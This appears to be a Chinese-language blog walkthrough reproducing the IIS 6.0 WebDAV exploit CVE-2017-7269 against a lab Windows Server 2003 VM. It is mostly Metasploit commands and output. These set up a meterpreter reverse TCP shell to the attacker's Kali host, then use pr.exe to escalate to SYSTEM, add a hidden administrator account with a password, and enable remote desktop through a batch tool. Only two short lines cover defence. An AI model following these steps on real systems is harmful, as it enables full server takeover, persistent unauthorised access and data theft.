漏洞说明

开启WebDAV服务的IIS 6.0被爆存在缓存区溢出漏洞导致远程代码执行,目前针对Windows Server 2003 R2可以稳定利用,该漏洞最早在2016年7,8月份开始在野外被利用。
影响产品:Microsoft Windows Server 2003 R2 开启WebDAV服务的IIS6.0(目前已验证,其他版本尚未验证)

触发函数:ScStoragePathFromUrl函数

附加信息:ScStoragePathFromUrl函数被调用了两次

漏洞细节:在Windows Server 2003的IIS6.0的WebDAV服务的ScStoragePathFromUrl函数存在缓存区溢出漏洞

环境搭建

必须确保Kali Linux 和 Windows 2003 能够相互Ping通,IIS6.0,必须开启了WebDAV

1
2
Windows Server 2003 R2 32位 作为服务器 (IIS6.0,开启了WebDAV)
Kali Linux 作为攻击主机

在这里,我用到的网络连接方式是NET模式:用于共享主机的IP地址

Kali Linux 的 IP是:192.168.119.136

图片

Windows 2003 的 IP是:192.168.119.134

图片

准备工具

下载cve-2017-7269漏洞利用脚本

IIS代码执行脚本 - cve-2017-7269:下载链接

下载好了,吧exp复制到kali的这个目录下:

/usr/share/metasploit-framework/modules/exploits/windows/iis

图片

漏洞复现

1
2
3
4
5
6
7
8
启动Metasploit
msfconsole

使用cve-2017-7269这个攻击载荷
use exploit/windows/iis/cve-2017-7269

查看有哪些参数需要设置
show options

图片

1
2
3
4
5
6
7
8
9
10
11
设置被攻击者(windows_2003)的IP
set RHOST 192.168.119.134

设置服务器的地址(Windows_2003)
set HttpHost 192.168.119.134

设置Kali的IP地址
set LHOST 192.168.119.136

设置Payload返回载荷
set payload windows/meterpreter/reverse_tcp

设置完之后就可以看到我们设置的参数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
msf exploit(windows/iis/cve-2017-7269) > show options 

Module options (exploit/windows/iis/cve-2017-7269):

Name Current Setting Required Description
---- --------------- -------- -----------
HttpHost 192.168.119.134 yes http host for target
PhysicalPathLength 19 yes length of physical path for target(include backslash)
RHOST 192.168.119.134 yes The target address
RPORT 80 yes The target port (TCP)


Payload options (windows/meterpreter/reverse_tcp):

Name Current Setting Required Description
---- --------------- -------- -----------
EXITFUNC process yes Exit technique (Accepted: '', seh, thread, process, none)
LHOST 192.168.119.136 yes The listen address
LPORT 4444 yes The listen port


Exploit target:

Id Name
-- ----
0 Microsoft Windows Server 2003 R2

图片

设置完之后,我们就可以使用命令:exploit

图片

1
2
3
4
5
6
7
8
msf exploit(windows/iis/cve-2017-7269) > exploit 

[*] Started reverse TCP handler on 192.168.119.136:4444
[*] Sending stage (179779 bytes) to 192.168.119.134
[*] Sleeping before handling stage...
[*] Meterpreter session 1 opened (192.168.119.136:4444 -> 192.168.119.134:1031) at 2019-08-03 14:14:40 +0800

meterpreter >

这个时候就可以执行shell命令了~

1
2
3
4
5
6
7
8
meterpreter > shell
[-] Failed to spawn shell with thread impersonation. Retrying without it.
Process 2044 created.
Channel 2 created.
Microsoft Windows [�汾 5.2.3790]
(C) ��Ȩ���� 1985-2003 Microsoft Corp.

c:\windows\system32\inetsrv>

查看当前的权限:whoami

1
2
3
4
5
c:\windows\system32\inetsrv>whoami
whoami
nt authority\network service

c:\windows\system32\inetsrv>

network service是一个一般用户的权限

提权操作

使用MetasploitWindows-2003进行提权:

用到pr.exe提权exp

首先使用shell命令看看能不能创建文件夹:

1
2
3
c:\windows\system32\inetsrv>md 123
md 123
拒绝访问。

图片

很显然不能,那么我们切换到C盘下再试试:

图片

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
C:\>md 123
md 123

C:\>dir
dir
驱动器 C 中的卷没有标签。
卷的序列号是 88DC-ADF2

C:\ 的目录

2019-08-05 13:42 <DIR> 123
2019-08-03 12:18 0 AUTOEXEC.BAT
2019-08-03 12:18 0 CONFIG.SYS
2019-08-03 12:22 <DIR> Documents and Settings
2019-08-03 14:02 <DIR> Inetpub
2019-08-03 12:23 <DIR> Program Files
2019-08-03 14:02 <DIR> WINDOWS
2019-08-03 12:18 <DIR> wmpub
2 个文件 0 字节
6 个目录 22,927,130,624 可用字节

C:\>whoami
whoami
nt authority\network service

C:\>

这个时候是可以创建文件夹123,但是权限还是很小,只是一个服务器权限。

我们回到会话窗口:exit

使用upload命令在home目录上传pr.exe提权exp文件到2003服务器的C:\\123目录下:

图片

图片

1
2
3
 : /home/pr.exe -> c:\123
[*] uploaded : /home/pr.exe -> c:\123\pr.exe
meterpreter >

meterpreter提示上传成功!我们切换到shell会话C盘下的123目录,看看pr.exe是否上传成功:

图片

1
2
3
4
5
6
7
8
9
10
11
12
13
14
C:\123>dir
dir
驱动器 C 中的卷没有标签。
卷的序列号是 88DC-ADF2

C:\123 的目录

2019-08-05 13:47 <DIR> .
2019-08-05 13:47 <DIR> ..
2019-08-05 13:47 73,728 pr.exe
1 个文件 73,728 字节
2 个目录 22,927,056,896 可用字节

C:\123>

成功上传pr.exe文件!我们首先执行一下whoami看看当前权限:

图片

1
2
3
C:\123>whoami
whoami
nt authority\network service

权限很小!我们用pr.exe执行whoami看看:

图片

1
2
3
4
5
6
7
8
C:\123>pr.exe whoami
pr.exe whoami
/xxoo/-->Build&&Change By KOOPie
/xxoo/-->Got WMI process Pid: 3852
/xxoo/-->Found token SYSTEM
/xxoo/-->Running command with SYSTEM Token...
/xxoo/-->Done, command should have ran as SYSTEM!
nt authority\system

这个时候就是一个系统管理权限:nt authority\system!

创建一个用户并提升为超级管理员权限

图片

1
2
3
4
5
6
7
8
9
10
11
C:\123>pr.exe "net user liuwx liuwx123abc /add"
pr.exe "net user liuwx liuwx123abc /add"
/xxoo/-->Build&&Change By KOOPie
/xxoo/-->Got WMI process Pid: 3852
/xxoo/-->Found token SYSTEM
/xxoo/-->Running command with SYSTEM Token...
/xxoo/-->Done, command should have ran as SYSTEM!
命令成功完成。


C:\123>

liuwx用户添加进管理员组:

图片

1
2
3
4
5
6
7
8
9
10
11
C:\123>pr.exe "net localgroup administrators liuwx /add"
pr.exe "net localgroup administrators liuwx /add"
/xxoo/-->Build&&Change By KOOPie
/xxoo/-->Got WMI process Pid: 3852
/xxoo/-->Found token SYSTEM
/xxoo/-->Running command with SYSTEM Token...
/xxoo/-->Done, command should have ran as SYSTEM!
命令成功完成。


C:\123>

由于我们已经添加了一个超级管理员的账号,这个时候我们要使用刚刚创建的账号进行远程登录它的那台服务器,前提是对方服务器开启了3389端口.

开启3389登录服务器

查看当前端口开放情况:

netstat -an

图片

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
c:\windows\system32\inetsrv>netstat -an 
netstat -an

Active Connections

Proto Local Address Foreign Address State
TCP 0.0.0.0:80 0.0.0.0:0 LISTENING
TCP 0.0.0.0:135 0.0.0.0:0 LISTENING
TCP 0.0.0.0:445 0.0.0.0:0 LISTENING
TCP 0.0.0.0:1025 0.0.0.0:0 LISTENING
TCP 192.168.119.134:139 0.0.0.0:0 LISTENING
TCP 192.168.119.134:1046 192.168.119.136:4444 ESTABLISHED
TCP 192.168.119.134:1047 192.168.119.136:4444 ESTABLISHED
UDP 0.0.0.0:445 *:*
UDP 0.0.0.0:500 *:*
UDP 0.0.0.0:4500 *:*
UDP 127.0.0.1:123 *:*
UDP 192.168.119.134:123 *:*
UDP 192.168.119.134:137 *:*
UDP 192.168.119.134:138 *:*

c:\windows\system32\inetsrv>

从上面可以看到,它没有开放3389端口!我们是不能够进行远程链接到2003主机的。

这个时候就要用到3389批处理工具:

图片

3389.bat文件上传到c:\\123目录中:

图片

1
2
3
4
meterpreter > upload '/home/3389.bat' c:\\123
[*] uploading : /home/3389.bat -> c:\123
[*] uploaded : /home/3389.bat -> c:\123\3389.bat
meterpreter >

图片

成功上传!这个时候,我们就需要用3389这个提权工具开启远程服务器的3389端口:

图片

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
C:\123>pr.exe 3389.bat
pr.exe 3389.bat
/xxoo/-->Build&&Change By KOOPie
/xxoo/-->Got WMI process Pid: 2640
/xxoo/-->Found token SYSTEM
/xxoo/-->Running command with SYSTEM Token...
/xxoo/-->Done, command should have ran as SYSTEM!


提示你:3389已经开启


C:\123>netstat -an
netstat -an

Active Connections

Proto Local Address Foreign Address State
TCP 0.0.0.0:80 0.0.0.0:0 LISTENING
TCP 0.0.0.0:135 0.0.0.0:0 LISTENING
TCP 0.0.0.0:445 0.0.0.0:0 LISTENING
TCP 0.0.0.0:1025 0.0.0.0:0 LISTENING
TCP 0.0.0.0:3389 0.0.0.0:0 LISTENING
TCP 192.168.119.134:139 0.0.0.0:0 LISTENING
TCP 192.168.119.134:1047 192.168.119.136:4444 ESTABLISHED
UDP 0.0.0.0:445 *:*
UDP 0.0.0.0:500 *:*
UDP 0.0.0.0:4500 *:*
UDP 127.0.0.1:123 *:*
UDP 192.168.119.134:123 *:*
UDP 192.168.119.134:137 *:*
UDP 192.168.119.134:138 *:*
本机的IP是192.168.119.134

C:\123>

这个时候,服务器的3389服务就已经被开启了!

图片

图片

这个就是整个提权的一个过程,包括成功的登陆到远程服务器!

漏洞防御

1、关闭WebDAV服务

2、使用相关防护设备